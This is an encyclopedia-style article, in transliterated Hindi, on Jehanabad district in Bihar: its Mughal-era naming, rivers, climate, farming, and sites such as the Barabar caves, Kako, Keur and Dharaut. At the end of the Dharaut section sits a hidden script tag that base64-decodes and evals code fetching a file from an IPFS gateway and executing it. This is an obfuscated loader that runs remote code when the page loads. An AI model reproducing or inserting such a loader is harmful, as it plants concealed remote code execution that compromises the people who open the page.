जहानाबाद

[[chitr:Buddha-Statue-Jehanabad.jpg|thumb|250px|buddh pratima, jahanabad]] jahanabad bharat ke bihar rajy mean sthit hai. jahanabad aitihasik prishtabhoomi ke nam se vikhyat hai. jahanabad zila aitihasik drishikon se atyant mahattv vala kshetr hai. akabar ke shasan kal mean abul phazal dvara likhit prasiddh pustak 'aeena-e-akabari' mean jahanabad ka zikr kiya gaya hai. yah bhaugolik, aitihasik dharmik evan paryatan ki drishti se atyant mahattvapoorn sthan hai.

itihas

17 vian shatabdi mean aurangazeb ke shasanakal mean jahanabad mean ek bhishan akal p da tha. pratidin saik doan log bhookh ke karan kal ka gras ban rahe the. aisi paristhiti mean mugal badashah ne apani bahan jahanara ke netritv mean ek dal akal rahat kary hetu bheja. jahanara ke smriti mean is sthan ka nam jahanarabad jo kalaantar mean jahanabad ke nam se hua. prachinakal ke itihas ke anusar jahanabad kshetr magadh ka ek chhota sa hissa tha.

bhaugolik sthiti

jahanabad bihar ki rajadhani patana se relamarg dvara 45 kilomitar ki doori par tatha s dak marg se 56 kilomitar doori par jahanabad ka mukhyalay hai. jahanabad daradha nadi evan yamuna nadi ke sangam par sthit hai. aupabandhik akalan ke anusar yah '25°-15°' akshaansh evan '84°-30°' se '85°-15°' poorab deshaantar ke madhy sthit hai. isake uttar mean patana zila, dakshin mean gaya, rohatas evan bhojapur zile, poorab mean nalanda zila, pashchim mean araval zila hai.

sampoorn zile ki bhoomi samatal maidani kshetr hai. is zile se hokar son, punapun, phakgu, daradha aur yamuna adi nadiyaan guzarati haian. sirf son nadi evan punapun nadi jahanabad zile ke pashchimi kinare ko chhooti huee guzarati haian tatha sada bahati rahati haian. mausami nadiyaan daradha, yamuna aur phalgu kabhi-kabhi bhayanak rup dharan kar leti haian. jis karan zila ke adhikaanshat: kshetr mean badh jaisi sthiti utpann ho jati hai evan fasalean nasht ho jati haian. phalgu nadi ko hindoo samuday adar ki najar se dekhate haian aur isake kinare par apane poorvajoan ko piand dan karane ka dharmik kary karate haian.

jalavayu

jahanabad mean garmi ke mausam mean bahut garmi aur ja de ke din mean bahut ja da p data hai. march ke aantim se garmi arambh ho jati hai. mee aur joon mean bahut hi adhik garmi p dati hai. jahanabad svatantr zila banane ke poorv bhaserat mean sab adhik garm sthanoan mean se ek gaya zila ka hi ek bhag tha. varsha rritu joon se shuroo hokar sitambar ke akhir ya aktoobar ke shuroo tak rahati hai. zile ka samany varshaman 1074-1075 milimitar hai. is zile mean kul varshik varshaman ka 90 pratishat se bhi adhik bhag manasoon se prapt hota hai.

krishi

jahanabad zila ek krishi pradhan zila hai. is zile ki sampoorn bhoomi upajaoo mitti se bani hai jise sthaniy bhasha mean keval kahate hai. dhan, gehooan, eekh, dalahan adi ke lie keval mitti bahut hi upayukt hoti hai. yah zila bhoosanchit, upajaoo tatha ghani abadi ka kshetr hai. krishi varsh ko do mausam mean vibhajit kiya gaya hai. ek kharif aur doosara rabi. khariph ko bhadee evan agahan mausam mean vibhajit kiya gaya hai tatha rabi ko garmi mean. chaval, makee, gehooan aur dalahan is zile ki pramukh fasalean hai. is zile mean keval eekh hi nagadi fasal haian.

paryatan

thumb|250px|grih mantri se labh rashi prapt karati huee chhatra jahanabad zile ke makhadumapur prakhand mean avasthit barabar paha d bhaugolik, aitihasik, dharmik evan paryatan ki drishti se prachin kal se hi atyant mahattvapoorn kshetr raha hai. prakhand mukhyalay se 11 kilomitar ki doori par sthit is parvat ki choti ke madhy mean baba siddheshvaranath urph bhagavan shankar ka atyant prachin mandir hai. magadh senapati banavar ne apane pravas ke dauran ek vishal mandir ka nirman karaya tha. jo aj daba p da hai. isi parvat ki choti par samrat ashok ne apani ek rani ki maang par ajivak sampraday ke sadhuoan ke lie gufaoan ka nirman karaya. jo aj bhi usi sthiti mean viddhaman hai. ye gufaean vishv ki pratham manav nirmit gufao ke rup mean jani jati haian. ashok ke pautr dasharath ne bhi bauddh bhikshuo ke lie kuchh gufaoan ka nirman karaya. gufaoan ke adar grenait patthar ki chikanahat ki kala abhootapoorv hai. patthar chhoone par aisa pratit hota hai mano mistri abhi uthakar bahar ge ho. aisa mana jata hai ki isi parvat par khuda talab par brahman vidvanoan ke sath shastrarth kar buddh yahaan se phalgu nadi ke marg se bodhagaya ge the. atah aitihasik drishti se is sthan ka bahut mahattv hai. jahanabad zile mean dharmik, aitihasik aur prachin vastuoan ke mahattv ke kuchh sthan bhi hai jo is prakar hai:-

bhelavar

jahanabad relave steshan se dakshin-poorv mean lagabhag 11 kilomitar ki doori par kako prakhand mean bhelavar gram avasthit hai. yah shiv bhagavan ke purane mandir ke lie prasiddh hai. gram ke bahar se hi aj bhi mandir ke ahate ke patharile dvar ke bache hue bhag ko dekha ja sakata hai. hindoo aur muslim kal ki kala ke namoone ki khoj bhi yahaan ki gee hai. yahaan pratyek varsh shivaratri ke avasar par ek b da mela lagata hai.

kako

jahanabad relave steshan ke lagabhag 10 kilomitar ki doori par jahanabad bihar-sharif rod mean avasthit kako prakhand ka mukhyalay hai. sthaniy kathananusar shri ramachandr ki sauteli maan rani kaikeyi ne kuchh samay yahaan vas kiya tha. unhian ke nam par is gram ka nam kako p da. ek bahut b di muslim soofiya hazarat bibi kamal sahiba ka maqabara bhi is gram mean hai. kaha jata hai ki bihar shariph ke hazarat makhadum sahab ki yah chachi thian aur ruhani takat rakhati thi. bihar ke kone-kone se b di sankhya mean shraddhalu ate hai aur manokamana pate hai. gram ke uttar-pashchim mean ek mandir hai, jisamean soory bhagavan ki ek bahut purani moorti sthapit hai. pratyek ravivar ko b di sankhya mean log yahaan pooja karane ke lie ate haian.

bhaikh

bhaikh gram makhadumapur prakhand mukhyalay se lagabhag 11 kilomitar ki doori par avasthit hai. yahaan paha di ki choti par siddheshvaranath mean bhagavan shiv ka eeshvariy pratik hai. is paha di par karana chaupar aur sudama nam ki do gufaean haian jinaka sambandh maharaja ashok se hai. kaha jata hai ki maharaja ashok ne isake nikat hi ek jhil banavaee thi, jise patal-ganga ke nam se pukara jata hai. chini yatri huen-saang ne is sthan ka darshan kiya tha aur apani yatra pustak mean isaka ullekh bhi kiya hai.

ghejan

jahanabad se dakshin-poorv mean lagabhag 19 kilomitar ki doori par kurtha prakhand mean sthit ghejan ek prachin gram hai. yahaan ek purana gadh hai jahaan gupt kal ki patthar ki moortiyaan paee gee haian. in moortiyoan ko patana ke ajayabaghar mean surakshit rakha gaya hai.

amathua

amathua zila mukhyalay se 7 kilomitar poorv mean hai. mugal kal mean amooly dharohar jisamean mugal kalin praman par bana evan sarakari path pae ge the, jo philahal patana ke khudabakhsh laibreri pustakalay mean maujood hai. gaanv ke dakshin mean sherashah ki banaee masjid bhi hai. isake atirikt yahaan bahut se mahapurushoan ki qabrean haian jinamean ek shekh chisti ki hai.

okari

okari zila mukhyalay se 18 kilomitar uttar-poorv mean phalgu nadi ke tat par sthit hai. poora gaanv tile par basa hai. okari paragana isi gaanv ke nam par hai. is paragana mean phraansisi bukanan ke kal mean 132000 bigha zamin thi. kuchh jagahoan par khudaee ke dauran kee moortiyoan ke sath brahmi lipi abhilekh vale 4 stambh bhi prapt hue haian.

keur

keur zila mukhyalay se 30 kilomitar dakshin-poorv mean base is gaanv mean prasiddh itihasakar evan puratattvavid e. banarji ne 1939 ee. mean is gaanv ka nirikshan kiya tha. yahaan ek bahut b da gadh hai jisaki ooanchaee 40 phit hai. is gadh ki khudaee ke dauran pal kal ki bahut sari moortiyaan mili haian jo dasavian evan barahavian sadi ki haian. khudaee ke kram mean yahaan b di-b di eetean prapt huee haian. jisaki lanmbaee 14 ianch chau daee 8.5 ianch evan ooanchaee 3 ianch hai. itihasakar shastri ne is gaanv ki tulana nalanda se karate hue kaha tha lagata hai ki yah pal kalin bauddh vishvavidyalay vikramashila yahian avasthit hai."'

daudapur

daudapur gaanv zila mukhyalay se 28 kilomitar poorv mean sthit hai. is gaanv ka nirikshan fraansisi bukanan ne 1811-12 ee. mean tatha bradale ne 1872 mean kiya tha. in logoan ne apane prativedan mean bataya hai ki is gaanv ka poorv mean nam devasti, devsthu, dapthu, dauthu tha. yahaan mitti ka gadh bhi hai tatha gadh ke dakshin-poorv mean muslim sant ka mazar hai. mazar ke dakshin-poorv mean ek vishal mandir parasanath ke nam se khyati prapt hai jise bauddh mandir bhi mana jata hai. is mandir ke dakshin mean vasudev, lakshminarayan jagadamba nrity mudra mean parvati- shiv ki moortiyaan haian. ye batean phraansisi yatri bukanan ke dvara likhi gayi thian. lekin aj ki sthiti mean vahaan sirf avashesh milegean. vahaan ki kuchh moortiyaan gaya sangrahalay mean upalabdh haian.

lat

lat zila mukhyalay se qarib 35 kilomitar poorv-dakshin ke kon par sthit hai. yahaan ek golakar lamba stambh hai jisaki lambaee 53.5 phit golaee 3.5 phit vyas ki hai. yah uttar se dakshin ki or adhi zamin mean tatha adhi zamin ki satah par hai. isake bare mean kee tarah ki kivadanti hai. lekin hal mean kuchh puratattvavido ne is marahauli lauh stambh ka saancha bataya hai.

jaru

jaru zila mukhyalay se qarib 40 kilomitar poorv-dakshin ke kon par hai. yahaan ek prachin mandir ka avashesh mila hai jo sthapaty kala ki drishti se mahattvapoorn hai. sthaniy log ise sherashah ke kal ka batate haian. pas mean sthit parvat par ek bahut b da shivaliang hai. ise harihar nath ke nam se jana jata hai. yahaan mela bhi lagata hai.

dharaut

dharaut zila mukhyalay se qarib 22 kilomitar dakshin tatha barabar paha di se 5 kilomitar uttar-poorv mean sthit hai. yahaan ek vishal bauddh math chini yatri hven tsaang ke kal mean tha. yahaan chini yatri hvenasaang bhi thahare the. jisaka ullekh unhoanne apane yatra vritaant mean kiya hai. is gaanv ke aitihasik evan puratattv vibhag ko dekhate hue kee puratattvavidoan ne vibhinn samayoan mean yahaan ka nirikshan kiya hai. jinamean mejar kitti ne 1847 ee. kaniangham ne 1862 ee. aur 1880 ee. mean belagar ne 1892 ee., d aau. giriyesen ne 1900 ee., d aau. harikishor ne 1954 mean isaka nirikshan kiya. is gaanv ke poorv mean kee nam the jinamean dharamapur, kanchanapur, dharamapuri, dharamavar adi pramukh haian. yahaan ki bahut sari moortiyaan patana sangrahalay mean upalabdh haian. is gaanv ki vigat bahut sari tilean evan gadh hai. yadi isaki khudaee ki jae to is gaanv mean aur bhi aitihasik tathy samane ayeange. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• adhikarik vebasait
• Jehanabad Buddha statute

sanbandhit lekh

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